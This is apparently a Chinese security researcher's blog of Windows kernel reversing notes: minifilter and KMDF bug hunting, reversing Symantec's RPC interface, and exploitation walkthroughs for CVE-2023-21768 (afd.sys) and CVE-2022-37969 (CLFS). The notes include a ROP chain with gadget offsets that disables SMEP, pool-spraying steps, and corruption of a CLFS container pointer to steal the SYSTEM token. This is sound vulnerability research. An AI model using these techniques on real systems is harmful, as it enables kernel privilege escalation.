我吃你家米了 - 逆向

Windows Minifilter漏洞挖掘

2025-08-12T00:00:00+02:00

references:

https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html

过滤驱动的实现

大打开一个文件的时候，IO管理器会分配一个IRP结构体用于描述IO请求，这其中包含了操作类型和与该操作相关的各种各样的参数

IRP会被发送到与该操作相关的设备栈的顶部

过滤驱动会注册一个或者多个IRP对应的操作类型的回调函数，当有目标IRP请求被放到设备栈上的时候，过滤驱动的回调函数就会被调用

过滤驱动可以对该IRP进行以下操作：

不作任何修改，直接发送给设备栈的下一层
修改之后发送给设备栈的下一层
修改IRP响应（post回调）
完成IO请求，返回成功（完成IO请求就意味着设备栈下面的驱动不会接收到此IRP请求）
完成IO请求，返回失败
将IRP发送给别的设备栈进行处理

一般情况下过滤驱动会被插入到设备栈顶部，但是理论上来讲，过滤驱动可以被插入到任意位置

windows自带的bitlocker full disk encryption就是一个插在volume block设备上面的过滤驱动，他会加密写入IRP的sector数据，在读取IRP的回调中解密读出来的sector

过滤管理器和mini filter

一句话概括，过滤管理器和mini filter就是用来让过滤驱动的编写变得更简单的，程序员只需要专注于业务代码，也就是在过滤驱动的回调函数中要做什么

从上图中可以看到顾虑驱动不会往设备栈中插入设备，而是插入了Filter Manager的设备，filter manager负责拦截IO请求，并调用对应的minifilter中的回调函数

filter manager通过minifilter的altitude属性来管理过滤驱动的顺序，这个属性是在驱动开发的过程中由开发者设置的

在驱动的inf安装文件中定义

altitude的值越高，驱动的优先级就越高，对于响应而言就是反过来的

minifilter可以通过InstanceSetupCallback回调函数来设置他是否想要attach到给定的volume类型

下面这个函数就指定了他只会attach到ntfs volume

将IO请求转发给不同的设备栈或者不同的file

filter manager为了避免在minifilter驱动代码中打开文件时造成重入，导出了专门的API来用于在minifilter代码中打开文件，使用FltCreateFileEx打开文件，filter manager会直接将此操作产生的IRP请求发送给当前minifilter的下一层级，从而避免死循环

另外一种方法是使用一个叫做Extra Create Parameters（ECP）的机制，ECP包含了一个GUID用于唯一标识，以及其他的附加数据，这些数据通过FltInsertExtraCreateParameter函数进行插入到文件中，数据的提取可以通过FltFindExtraCreateParameter函数完成，minifilter的代码通过检查ECP的存在来选择是否忽略IRP，这样也可以避免重入

luafv.sys的LuafvReparse函数就使用了这个API

文件重定向，通过修改PreOperation回调中的FLT_IO_PARAMETER_BLOCK结构体中的TargetFileObject为另一个文件即可

PREDIRECT_CONTEXT context = // Get driver’s allocated context.
if (context->FileObject) {
    Data->Iopb->TargetFileObject = context->FileObject;
    FltSetCallbackDataDirty(Data);
    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}

minifilter通信

漏洞的产生通常源自于对不受信任的输入数据的处理，之所以对minifilter感兴趣就是因为有很多不受信任的输入可以被输入到minifilter的代码中

设备对象

minifilter驱动并不需要创建设备对象，但这并不意味着所有的minifilter都没有设备对象，比如杀软的minifilter同时也会创建一个设备对象

minifilter port

针对KMDF驱动的逆向和漏洞挖掘

2025-08-12T00:00:00+02:00

references:

https://www.ioactive.com/wp-content/uploads/2018/09/Reverse_Engineering_and_Bug_Hunting_On_KMDF_Drivers.pdf

IRP的结构

IO管理器为每一个IRP创建一个IO stack location数组，数组里面的每一个元素对应设备栈中的一个设备驱动

Buffer访问方式有三种

BUFFERED，IO管理器创建一个临时的buffer来共享给驱动，这种方式下input和output使用同一块内存
DirectIO，IO管理器锁定用户模式的buffer对应的物理内存然后共享给驱动
NEITHER，IO管理器只提供buffer的虚拟地址，不负责校验地址的合法性

IOCTL code的编码格式

Windows RPC

2025-07-24T00:00:00+02:00

rpc_demo，密码是1

搜索rpcserver注册位置，我们拿赛门铁克epp来做例子

主服务进程ccsvchst.exe

根据我们的rpc实例程序我们可以知道，rpc服务段肯定要调用RpcServerRegisterIf2函数进行注册，注册的时候要传入一个字符串来表示rpc服务的类型，示例程序是ncacn_ip_tcp

使用rpcview可以看到主服务进程ccsvchst的rpc类型是ncalrpc

那么我们搜索ccsvchst进程的所有二进制文件，去找这个字符串即可

我们使用windbg内核调试器获取到该进程的所有dll路径，然后全部拷贝到一个目录中，之后使用下面这个python脚本去搜索这个字符串

import os

def utf16le_search_in_file(file_path, utf16le_bytes):
    try:
        with open(file_path, 'rb') as f:
            data = f.read()
            return utf16le_bytes in data
    except Exception as e:
        # Skip files we can't read
        return False

def search_folder_for_utf16le_string(folder_path, target_string):
    utf16le_bytes = target_string.encode('utf-16le')
    for root, dirs, files in os.walk(folder_path):
        for filename in files:
            file_path = os.path.join(root, filename)
            if utf16le_search_in_file(file_path, utf16le_bytes):
                print(f"[FOUND] {file_path}")

if __name__ == "__main__":
    folder = r"C:\users\x\downloads\sep"  # 🔧 Change this
    search_string = "ncalrpc"     # 🔧 Change this
    search_folder_for_utf16le_string(folder, search_string)

搜索出来下面这3个不在system32下的dll包含这个字符串

CsrssDrvLoadDll.dll
ccIPC.dll
symamsi.dll

IPC很可能是进程间通信的意思，那我们就先来看这个dll

查看导入表，果不其然，存在RpcServerRegisterIfEx函数，查看其引用，找到注册代码

对照我们的示例代码，那么第一个参数就是RemotePrivilegeCall_v1_0_s_ifspec

    status = RpcServerRegisterIf2(
        RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h
        NULL,                                // UUID to bind to (NULL means the one from the MIDL file)
        NULL,                                // Interface to use (NULL means the one from the MIDL file)
        RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Numbers of simultaneous connections
        (unsigned)-1,                        // Maximum size of data block received 
        SecurityCallback                     // Name of the function that acts as the security callback
    );

这个参数的值实际上就是RemotePrivilegeCall___RpcServerInterface的地址

RPC_IF_HANDLE RemotePrivilegeCall_v1_0_s_ifspec = (RPC_IF_HANDLE)& RemotePrivilegeCall___RpcServerInterface;

那么我们就知道unk_180031F80就是RemotePrivilegeCall___RpcServerInterface，他的结构如下：

static const RPC_SERVER_INTERFACE RemotePrivilegeCall___RpcServerInterface =
{
    sizeof(RPC_SERVER_INTERFACE),
    { { 0xAB4ED934,0x1293,0x10DE,{ 0xBC,0x12,0xAE,0x18,0xC4,0x8D,0xEF,0x33 } },{ 1,0 } },
    { { 0x8A885D04,0x1CEB,0x11C9,{ 0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60 } },{ 2,0 } },
    (RPC_DISPATCH_TABLE*)&RemotePrivilegeCall_v1_0_DispatchTable,
    0,
    0,
    0,
    &RemotePrivilegeCall_ServerInfo,
    0x04000000
};

RemotePrivilegeCall_ServerInfo里面包含有rpc服务端函数的信息，现在我们去windbg里面看一下

RemotePrivilegeCall_ServerInfo是RPC_SERVER_INTERFACE结构体的InterpreterInfo字段，他的偏移量是80

那这个地方存的是RemotePrivilegeCall_ServerInfo的地址

static const MIDL_SERVER_INFO RemotePrivilegeCall_ServerInfo =
{
    &RemotePrivilegeCall_StubDesc,
    RemotePrivilegeCall_ServerRoutineTable,
    RemotePrivilegeCall__MIDL_ProcFormatString.Format,
    RemotePrivilegeCall_FormatStringOffsetTable,
    0,
    0,
    0,
    0 };

我们在8偏移处即可得到rpc服务端函数的表

dqs poi(ccipc!getfactory+2eb84+8)

然后我们要找到client，看看他是怎么调用rpc接口的，首先我们要获取到服务端rpc的接口标识符，就是一个GUID

这个GUID就在RemotePrivilegeCall___RpcServerInterface的4偏移量，长度为0x10

这一串字节序列同样也会出现在client的二进制文件中

那么使用这种方法，我们就可以在赛门铁克的安装包中找到client

我靠赛门铁克他这个二进制里面的guid和实际跑起来的时候的guid竟然是不一样的，太逆天了，我自己的示例程序就是一样的，不知道他这个是怎么回事，但是好在第二个语法的GUID是正确的，我们可以先搜索这个来确定大致的范围

那我们就是用下面的脚本搜索语法GUID字节序列04 5d 88 8a eb 1c c9 11-9f e8 08 00 2b 10 48 60

import os


def search_bytes_in_file(file_path, target_bytes):
    try:
        with open(file_path, 'rb') as f:
            data = f.read()
            return target_bytes in data
    except Exception:
        return False


def search_folder_for_bytes(folder_path, target_hex_string):
    # Convert hex string like "DEADBEEF" to bytes
    target_bytes = bytes.fromhex(target_hex_string)

    for root, dirs, files in os.walk(folder_path):
        for filename in files:
            file_path = os.path.join(root, filename)
            if search_bytes_in_file(file_path, target_bytes):
                print(f"[FOUND] {file_path}")


if __name__ == "__main__":
    folder = r"C:\Program Files\Symantec\Symantec Endpoint Protection"  # 🔧 Change this
    hex_string = "045d888aeb1cc9119fe808002b104860"  # 🔧 Change this to your target bytes (no 0x, no spaces)
    search_folder_for_bytes(folder, hex_string)

关键问题是这样找出来的也不一定是客户端，因为服务端也会有这个语法GUID

那这样的话，我们就只能用rpcview来逆向这个接口，获取到定义文件了

[
uuid(a3e7e0e5-615c-4355-964f-a58e97cfc695),
version(1.0),
]
interface DefaultIfName
{

long Proc0(
    [in]long arg_1, 
    [in][size_is(arg_1)]byte *arg_2, 
    [out]long *arg_3, 
    [out][ref][size_is(, *arg_3)]byte **arg_4, 
    [out][context_handle] void** arg_5);

long Proc1(
    [in][out][context_handle] void** arg_1);

long Proc2(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3);

long Proc3(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3);

long Proc4(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3, 
    [out]long *arg_4, 
    [out][ref][size_is(, *arg_4)]byte **arg_5);

long Proc5(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3);

long Proc6(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3, 
    [in]long arg_4, 
    [in][size_is(arg_4)]byte *arg_5, 
    [out]long *arg_6, 
    [out][ref][size_is(, *arg_6)]byte **arg_7);
}

正好7个函数，和我们前面分析出来的函数数组也是能够对应得上的

但是为什么这里逆向出来的没有binding_handle啊，这对吗这？

感觉还是要找到客户端才行

recatos源码

从网上把recatos的源码下载下来然后把rpcrt4.dll编译出来，我们的示例程序使用动态加载的方式调用我们自己编译出来的rpcrt4.dll，就可以在调试的时候查看源代码了

RpcServerUseProtseqEpW

对于tcp_ip形式的RPC，rpcrt其实就是监听了一个指定端口的socket而已

>   rpcrt4.dll!rpcrt4_protseq_ncacn_ip_tcp_open_endpoint(_RpcServerProtseq * protseq, const char * endpoint) Line 1647  C
    rpcrt4.dll!RPCRT4_use_protseq(_RpcServerProtseq * ps, const char * endpoint) Line 841   C
    rpcrt4.dll!RpcServerUseProtseqEpExW(wchar_t * Protseq, unsigned int MaxCalls, wchar_t * Endpoint, void * SecurityDescriptor, _RPC_POLICY * lpPolicy) Line 1053  C
    rpcrt4.dll!RpcServerUseProtseqEpW(wchar_t * Protseq, unsigned int MaxCalls, wchar_t * Endpoint, void * SecurityDescriptor) Line 939 C
    RPCServer.exe!main() Line 70    C++
    [External Code]

也就是说在调用RpcServerUseProtseqEpW之后，tcp端口就已经开始监听了

RpcServerRegisterIf2 注册接口

所谓的注册，就是把我们添加到一个全局的list中

RpcEpRegisterW 注册接口到end point mapper

这个其实是和\\pipe\\epmapper RPC接口进行通信来进行注册的，最后会看到他调用ndrclientcall2和这个接口进行通信

ncalrpc internal

这个通信机制的内部就是使用命名管道

管道名称就是RpcServerUseProtseqEpW的第三个参数，即endpoint

\\.\pipe\lrpc\MyLocalRpcEndpoint

赛门铁克

000001e4`2778dab8  "{3334ED3B-03FC-43B2-A709-D20C266"
000001e4`2778daf8  "5E1D7}"

他这个nclrpc的管道名称好像是动态生成的，就是一个GUID

CVE-2023-21768--IO ring在提权漏洞中的使用

2025-06-26T00:00:00+02:00

references：

https://www.ibm.com/think/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock

约定，本文所有的数字如果没有人特别说明，均为16进制

镜像

漏洞函数code path定位

afd.sys中的AfdNotifyRemoveIoCompletion函数的patch前后对比，左侧为patch过的，右侧为漏洞版本

可以看到，patch过后的代码多了一个对a1的判断，这个a1其实是previousMode，如果是1（用户模式），则对要写入的内存执行ProbeForWrite，这个函数会检查目标地址是否是用户模式地址空间，也就是防止用户模式进程直接写入内核的内存

a1是previousMode很好判断，查看caller函数AfdNotifySock的代码可知a1其实就是AfdNotifySock函数的a3

NTSTATUS ObReferenceObjectByHandle(
  [in]            HANDLE                     Handle,
  [in]            ACCESS_MASK                DesiredAccess,
  [in, optional]  POBJECT_TYPE               ObjectType,
  [in]            KPROCESSOR_MODE            AccessMode,
  [out]           PVOID                      *Object,
  [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);

根据文档，ObReferenceObjectByHandle函数的第四个参数是AccessMode，因此就可以判断出AfdNotifyRemoveIoCompletion的a1是PreviousMode

查看AfdNotifySock的交叉引用，可以看到他在AfdImmediateCallDispatch派遣函数表的最后面，再往下就是另一张派遣函数表了

查看AfdImmediateCallDispatch的交叉引用，可以找到他在AfdFastIoDeviceControl函数的797行被用到

其中v64会作为这张表的index来获取目标函数，v64由a7计算出来

查看AfdFastIoDeviceControl函数的交叉引用，可以看到他在AfdFastIoDispatch派遣函数表中，再查看AfdFastIoDispatch的交叉引用

可以看到afd注册了FastIoDispatch

typedef struct _FAST_IO_DISPATCH {
  ULONG                                  SizeOfFastIoDispatch;
  PFAST_IO_CHECK_IF_POSSIBLE             FastIoCheckIfPossible;
  PFAST_IO_READ                          FastIoRead;
  PFAST_IO_WRITE                         FastIoWrite;
  PFAST_IO_QUERY_BASIC_INFO              FastIoQueryBasicInfo;
  PFAST_IO_QUERY_STANDARD_INFO           FastIoQueryStandardInfo;
  PFAST_IO_LOCK                          FastIoLock;
  PFAST_IO_UNLOCK_SINGLE                 FastIoUnlockSingle;
  PFAST_IO_UNLOCK_ALL                    FastIoUnlockAll;
  PFAST_IO_UNLOCK_ALL_BY_KEY             FastIoUnlockAllByKey;
  PFAST_IO_DEVICE_CONTROL                FastIoDeviceControl;
  PFAST_IO_ACQUIRE_FILE                  AcquireFileForNtCreateSection;
  PFAST_IO_RELEASE_FILE                  ReleaseFileForNtCreateSection;
  PFAST_IO_DETACH_DEVICE                 FastIoDetachDevice;
  PFAST_IO_QUERY_NETWORK_OPEN_INFO       FastIoQueryNetworkOpenInfo;
  PFAST_IO_ACQUIRE_FOR_MOD_WRITE         AcquireForModWrite;
  PFAST_IO_MDL_READ                      MdlRead;
  PFAST_IO_MDL_READ_COMPLETE             MdlReadComplete;
  PFAST_IO_PREPARE_MDL_WRITE             PrepareMdlWrite;
  PFAST_IO_MDL_WRITE_COMPLETE            MdlWriteComplete;
  PFAST_IO_READ_COMPRESSED               FastIoReadCompressed;
  PFAST_IO_WRITE_COMPRESSED              FastIoWriteCompressed;
  PFAST_IO_MDL_READ_COMPLETE_COMPRESSED  MdlReadCompleteCompressed;
  PFAST_IO_MDL_WRITE_COMPLETE_COMPRESSED MdlWriteCompleteCompressed;
  PFAST_IO_QUERY_OPEN                    FastIoQueryOpen;
  PFAST_IO_RELEASE_FOR_MOD_WRITE         ReleaseForModWrite;
  PFAST_IO_ACQUIRE_FOR_CCFLUSH           AcquireForCcFlush;
  PFAST_IO_RELEASE_FOR_CCFLUSH           ReleaseForCcFlush;
} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH;

那么AfdFastIoDeviceControl函数的类型就是PFAST_IO_DEVICE_CONTROL，根据WRK源代码可知该函数的签名如下

typedef
BOOLEAN
(*PFAST_IO_DEVICE_CONTROL) (
    IN struct _FILE_OBJECT *FileObject,
    IN BOOLEAN Wait,
    IN PVOID InputBuffer OPTIONAL,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer OPTIONAL,
    IN ULONG OutputBufferLength,
    IN ULONG IoControlCode,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN struct _DEVICE_OBJECT *DeviceObject
    );

a7正是IoControlCode

使用AfdNotifySock函数在AfdImmediateCallDispatch派遣表的地址减去这张表的起始地址，再除以8，即可得到v64的值49

那么AfdIoctlTable[v64]就是AfdIoctlTable[49]

0: kd> dds AfdIoctlTable+4*49 l1
fffff806`2c850b24  00012127

这样我们就可以使用IoControlCode 12127来抵达漏洞函数

exp代码分析

使用漏洞控制IO ring结构体里面的regbuffer地址为用户可分配的用户模式地址，并控制regcount

exp

Windows Stack Overflow利用

2025-06-13T00:00:00+02:00

reference:

https://msrc.microsoft.com/blog/2018/03/kva-shadow-mitigating-meltdown-on-windows/

约定，本文所有数字都是16进制，所有的index都是从0开始

KVA shadow

speculative execution side channels 漏洞

这个类型的漏洞跟处理器如何进行内核和用户模式的权限隔离有关

很多CPU都具有乱序执行的能力，即预测性地执行分支代码，如果后续发现这个分支的判断为false，则回滚相关指令

但是对于内存读取指令，此时这个不可读取的内存的内容可能已经被加载到缓存中，这就引起了漏洞的出现，攻击者可能会读取到自己本不应该读取到的内核敏感数据

现在需要假设处理器的内存访问隔离已经不起作用了，操作系统需要自己实现一套防御机制

这个办法就是在进入系统调用的时候只映射一部分的内核数据到内存中，包含敏感数据的内核内存页不会被映射（具体怎么实现的我也不知道）

这个东西就叫做kernel virtual address shadow，即KVA shadow

算了，他妈的太复杂了，不看了

利用代码分析

reference：

https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html

memmove导致栈溢出，从调试器中可以看出来，只需要把前48字节填了，然后再填8字节就可以把返回地址覆盖了，那这个地方我们就可以填写ROP链的地址了

由于SMEP的存在，我们必须要把CR4的最高bit位置设置为0才可以返回到用户模式的内存中进行shellcode的执行，所以我们需要在ROP链中把cr4给修改了，控制SMEP启停的bit是第21bit

3210987654321098765432109876543210987654321098765432109876543210
1111111111111111111111111111111111111111111011111111111111111111
0xFFFFFFFFFFEFFFFF

使用IDA搜索ROP gadget

ntoskrnl.exe样本

修改cr4

514759

0: kd> u 514759 +nt
nt!KeWakeProcessor+0x59:
fffff802`3af23759 0f22e1          mov     cr4,rcx
fffff802`3af2375c c3              ret

现在我们需要控制rcx来间接控制cr4

操作rcx

使用ROPgadget搜索可以操作rcx的指令

python C:\Users\x\AppData\Local\Programs\Python\Python311\Scripts\ROPgadget --binary C:\users\x\downloads\ntoskrnl.exe  --only "pop rcx|ret"

0: kd> u 3BF3B7+nt
nt!PpmInstallFeedbackCounters+0x16f:
fffff802`3adce3b7 59              pop     rcx
fffff802`3adce3b8 c3              ret

我们只能更改smep bit位置，更改其他比特位很可能会直接BSOD

我们需要修改rsp到我们可以控制的位置

这里可以使用r11修改rsp的值

0x00000001403e8f86

流程

在用户模式分配地址为0x10000的内存

使用1406e6592 将r8修改为0x10000

使用140579df6将r11的值保存到[r8]

此时我们用掉了10字节，一共有38字节可以用

卧槽，没有可以操作r11的代码我需要找找其他的模块

使用0x00000001403e8f86修改rsp的值为r11

修复原始rsp的值为原始的返回值，或者在跳过一级，直接返回上一级的caller

r11+10 就是原始rsp的值

我可以持续占用栈来直接返回到任意一级的caller

我有90字节的利用空间

在这90字节的空间里面我应该是可以提权的。利用clfs的container对象

我可以利用这一条指令来将container对象的地址修改成指定的用户模式地址

0x000000014022925b : mov ah, 0x49 ; mov dword ptr [rcx], eax ; ret

使用这个指令将rcx修改为container context的18偏移的对应位置

0: kd> u 3BF3B7+nt
nt!PpmInstallFeedbackCounters+0x16f:
fffff802`3adce3b7 59              pop     rcx
fffff802`3adce3b8 c3              ret

使用这条指令控制eax的值

0x00000001405c3bd9 : mov dword ptr [rax], 0x28 ; mov eax, ecx ; ret

CLFS cve-2022-37969

2025-06-05T00:00:00+02:00

references:

镜像

poc项目

clfs驱动ida文件

成功将exp进程的token重写为system的token

安装完这个升级补丁之后就和上面文章中的测试环境版本是一致的了

CLFS即 Common Log File System

blf（base log file）日志文件格式

三种类型的record

control、base、truncate

我们只关注base，因为只有他和这个漏洞相关

blockheader的结构体定义：

typedef struct _CLFS_LOG_BLOCK_HEADER
{
    UCHAR MajorVersion;
    UCHAR MinorVersion;
    UCHAR Usn;
    CLFS_CLIENT_ID ClientId;
    USHORT TotalSectorCount;
    USHORT ValidSectorCount;
    ULONG Padding;
    ULONG Checksum;
    ULONG Flags;
    CLFS_LSN CurrentLsn;
    CLFS_LSN NextLsn;
    ULONG RecordOffsets[16];
    ULONG SignaturesOffset;
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;

sizeof(CLFS_LOG_BLOCK_HEADER )=0x70

sector type枚举

const UCHAR SECTOR_BLOCK_NONE   = 0x00;
const UCHAR SECTOR_BLOCK_DATA   = 0x04;
const UCHAR SECTOR_BLOCK_OWNER  = 0x08;
const UCHAR SECTOR_BLOCK_BASE   = 0x10;
const UCHAR SECTOR_BLOCK_END    = 0x20;
const UCHAR SECTOR_BLOCK_BEGIN  = 0x40;

sector signature存在于每个sector的末尾，偏移量为0x200，它包含两个字节，一个是sector type，另一个是usn

base block起始于blf文件的0x800，终止于0x71ff

漏洞更新补丁，更新完成后版本号变更为978，我们对两个版本的clfs.sys进行对比

通过diff可以看到这两个驱动的一个clfs日志处理相关的函数发生了变动

CClfsBaseFilePersisted::LoadContainerQ

patch相比vuln在这个地方多了一个检查1C0037963，这个在bidiff中也能看到

右侧分支发生了很大的变化

我么可以注意到这个0x1338实际上是_CLFS_BASE_RECORD_HEADER结构体的size

那么这个BaseLogRecord变量就是_CLFS_BASE_RECORD_HEADER，在ida中导入这个结构体的定义

导入完定义之后，应用之后可以看到如下代码

他把结构体结束位置和cbSymbolZone进行了相加

cbSymbolZone的偏移量是1328h

那么这个字段在原始文件中的偏移就是800h+70h+1328h=1b98h

我们后面会伪造这个字段的值

base block的size

rcx是this

poi(poi(rcx+30)+30) 是blf文件起始地址+800h

从这个pool指令中可以看到整个base block的size是7a00h，这个在后面的堆喷洒中会用到

我们通过循环创建logfile的方式来使得内核中出现很多clfs pool，然后直到出现7个连续的pool，就停下来，如下图所示

现在我们已经拥有了7个连续的间隔为0x10000，size为0x7a00的内存块

CreatePipe() / NtFsControlFile()

references

使用这种方法可以获取到一块任意读取的内核内存，通过bigpoolinfo技术查询tag来定位，tag是0x7441704E NpAt（Named Pipe AtTribute）

这里是我们写入的数据，前面有24h字节的系统数据，后面的就是我们自己的数据

0x18是buffersize，比我们实际传进去的少了2bytes，我也不知道为啥，我们的实际长度是fd8h，内核里面是fd6h

_NtFsControlFile(hReadPipe[0], 0, 0, 0, &v30, 0x11003c, v9a, 0xfd8, dest, 0x100);

关键位置

我们现在要看一下68h这个signature offset的值是什么时候被更改掉的

在我们第二次打开初始log文件时，此时这个文件的内容已经被修改了，68h被修改50h，我们在源代码中调用一下int3来中断到调试器中，此时我们开启CLFS!CClfsBaseFilePersisted::LoadContainerQ函数断点，看一下此时的68h，在内核中也是0x50

然后我们来在这个地方下一个写入断点

触发后的调用栈如下

1: kd> g
Breakpoint 3 hit
CLFS!ClfsEncodeBlockPrivate+0xc4:
fffff803`2bc366b4 4983c002        add     r8,2
1: kd> dqs ffffc006`d55a0068  l1
ffffc006`d55a0068  00000000`ffff0050
1: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffd88b`8477ffe0 fffff803`2bc33535     CLFS!ClfsEncodeBlockPrivate+0xc4
01 ffffd88b`8477fff0 fffff803`2bc5dd02     CLFS!ClfsEncodeBlock+0x1d
02 ffffd88b`84780020 fffff803`2bc5d720     CLFS!CClfsBaseFilePersisted::WriteMetadataBlock+0x152
03 ffffd88b`847800b0 fffff803`2bc334ef     CLFS!CClfsBaseFilePersisted::FlushImage+0x40
04 ffffd88b`847800f0 fffff803`2bc393b5     CLFS!CClfsLogFcbPhysical::FlushMetadata+0xef
05 ffffd88b`84780140 fffff803`2bc6a313     CLFS!CClfsLogFcbPhysical::Initialize+0xc79
06 ffffd88b`84780250 fffff803`2bc5fecb     CLFS!CClfsRequest::Create+0x48b
07 ffffd88b`847803a0 fffff803`2bc5fc97     CLFS!CClfsRequest::Dispatch+0x97
08 ffffd88b`847803f0 fffff803`2bc5fbe7     CLFS!ClfsDispatchIoRequest+0x87
09 ffffd88b`84780440 fffff803`29c8a6a5     CLFS!CClfsDriver::LogIoDispatch+0x27
0a ffffd88b`84780470 fffff803`2a148d37     nt!IofCallDriver+0x55
0b ffffd88b`847804b0 fffff803`2a139092     nt!IopParseDevice+0x897
0c ffffd88b`84780670 fffff803`2a138501     nt!ObpLookupObjectName+0x652
0d ffffd88b`84780810 fffff803`2a081adf     nt!ObOpenObjectByNameEx+0x1f1
0e ffffd88b`84780940 fffff803`2a0816b9     nt!IopCreateFile+0x40f
0f ffffd88b`847809e0 fffff803`29e2d375     nt!NtCreateFile+0x79
10 ffffd88b`84780a70 00007fff`50224624     nt!KiSystemServiceCopyEnd+0x25
11 00000079`eed7e718 00007fff`127b48e2     ntdll!NtCreateFile+0x14
12 00000079`eed7e720 00007ff6`8df724ba     clfsw32!CreateLogFile+0x6c2
13 00000079`eed7e8c0 00007ff6`8df93c01     lfs+0x24ba

关键位置

ffffffff00000写入1C001295C

signature offset写入1C000669E

溢出的关键位置 1C0040880

下面我说的800的意思就是base block的起始位置，800是他相对于文件开头的偏移量，这个800是个16进制值，如果不特殊说明，我下面说的所有的数字都是16进制形式的

循环计算出需要构造的值

可以看到1bfe的word值为0xffff，这个值是在1C001295C 写入的，这个偏移我们是可以控制的，因为我们可以控制ccoffsetArray的第一个ele为0x1b30，他指示client context对象相对于800+70的偏移位置，那么也就是相对于800的偏移是1ba0，而1C001295C 写入的是client context的0x58的qword，那么就是1ba0+58=1bf8，也就是说从1bf8长度为8的内存的内容是这个样子的

1: kd> db poi(poi(rcx+30)+30)+1bf8 l8
ffffc006`cfbdabf8  00 00 00 00 ff ff ff ff

那么很明显，从1bfe（相对于1bf8跳过6字节）读取一个DWORD的话就会读取到最后的两个ff

而1C000669E处循环中的v10的值我们也是可以控制的，他是由800+signatureoffset计算出来的，而signatureoffset字段的值我们是可以伪造的，这个循环里的a1就是800

通过上面的循环计算，我们知道读取到ffff的时候，v10增长了1a字节，而signatureoffset字段相对于800的偏移量是68h，我们想要覆盖掉68h的高WORD部分，也就是0x6a，6a-1a=50h，那么我们只需要将初始signatureoffset字段的值设置为50h即可

可以看到这里用到了signatureoffset字段，由于我们把他的高字节写成了ffffh，可以保证这个判断条件总是为false，从而防止返回错误，如果没有写入ffff到高字节，那么我们会因为cbSymbolZone过大而返回错误，其实这里就是一个越界检查，被我们伪造的数据给绕过了

然后在下面通过伪造的cbSymbolZone来造成outbound write

连续间隔pool

在GetOffsetBetweenPools函数中创建了很多随即名称的logfile，每次创建都会触发内核分配内存，得到连续6个相同间隔的pool之后返回，而且这些连续pool的间隔总是11000h，关键就是引发系统内存管理器的惯性分配，这是我自己瞎发明的名词，哈哈，但是我感觉就是使用了这个，后面分配内存也是有挺大的概率会不满足我们的条件的，后面我可以尝试把这个函数删了，看看他是否有影响，目前看来用处不大

这个操作很有必要，因为如果没有前面这一对操作，内存管理器大概率不会分配出来正好间隔11000h的两块内存，而如果我们指示反复操作正常和异常两个文件，那么内存管理器最终会给异常文件一直分配同一个内存地址

valid pool addr: 0xFFFFC006D239C000
valid pool addr: 0xFFFFC006D23AD000
valid pool addr: 0xFFFFC006D0D0C000
valid pool addr: 0xFFFFC006D0D03000
valid pool addr: 0xFFFFC006D0D14000
valid pool addr: 0xFFFFC006D23BE000
valid pool addr: 0xFFFFC006D0D24000
valid pool addr: 0xFFFFC006D0D35000
valid pool addr: 0xFFFFC006D0D46000
valid pool addr: 0xFFFFC006D0D57000
valid pool addr: 0xFFFFC006D2769000
valid pool addr: 0xFFFFC006D277A000
valid pool addr: 0xFFFFC006D278B000
valid pool addr: 0xFFFFC006D279C000
valid pool addr: 0xFFFFC006D27AD000
valid pool addr: 0xFFFFC006D27BE000
valid pool addr: 0xFFFFC006D0036000
valid pool addr: 0xFFFFC006D0047000
valid pool addr: 0xFFFFC006D0058000
valid pool addr: 0xFFFFC006D0069000
valid pool addr: 0xFFFFC006D007A000
valid pool addr: 0xFFFFC006D008B000
valid pool addr: 0xFFFFC006D009C000

这样之后，等我们第一次调用pipeArbitraryWrite函数，在该函数中使用CreateLogFile函数分别打开异常和正常log文件的时候，他们两个在内核内存中的间距也一定是11000h，我们可以验证一下

但是他这个是有概率的，并不总是能够成功

像下面这种，就算成功了，正常文件的内容在异常文件的地址+11000h

可一看到此时memset的dst已经加上了一个非常大的数

我们一场文件的buffer地址落后正常文件的buffer地址11000h，此时我们的目标地址是70+1338+1114b

那么在正常文件中就是70+1338+14b

1: kd> ?70+1338+14b
Evaluate expression: 5363 = 00000000`000014f3

可以看到memset被调用之后出现了下面这种情况

注意我们这里用的这个基地址是文件中800的位置，也就是说这个东西+70就是_CLFS_BASE_RECORD_HEADER结构体了

当运行到memest的时候，目标位置是正常文件的800的14f3偏移，

从上图可以看到正常文件的container数组的第一个成员的值是1468，而这个1468是相对于800+70的，也就是说相对于800的偏移是1468+70=14d8

而+18正是container对象的地址

那么也就是14d8+18=14f0

通过我们的精准控制，可以把这个地址值ffffc006c31468c0的高5字节全部清0，只保留低位3字节

memset运行完成后结果如下

为什么要控制container对象的地址呢？

因为在我们关闭正常log文件的句柄时，作为对象销毁流程的一部分，CClfsBaseFilePersisted::RemoveContainer函数会被调用，他会从container context的0x18偏移取出来container对象，然后调用他的成员函数

可以看到这里调用了两个成员函数，一个位于18，一个位于8

我们前面的堆喷射，这个时候就排上用场了，由于我们抹掉了container对象地址的高5字节，那么这个地址就变成用户模式的地址了，就可以由堆喷射来进行控制里面的内容，这个用户模式的第一个qword就是container对象的虚函数表，这样我们就可以控制0x18和0x8处要调用的函数以及传入的参数了

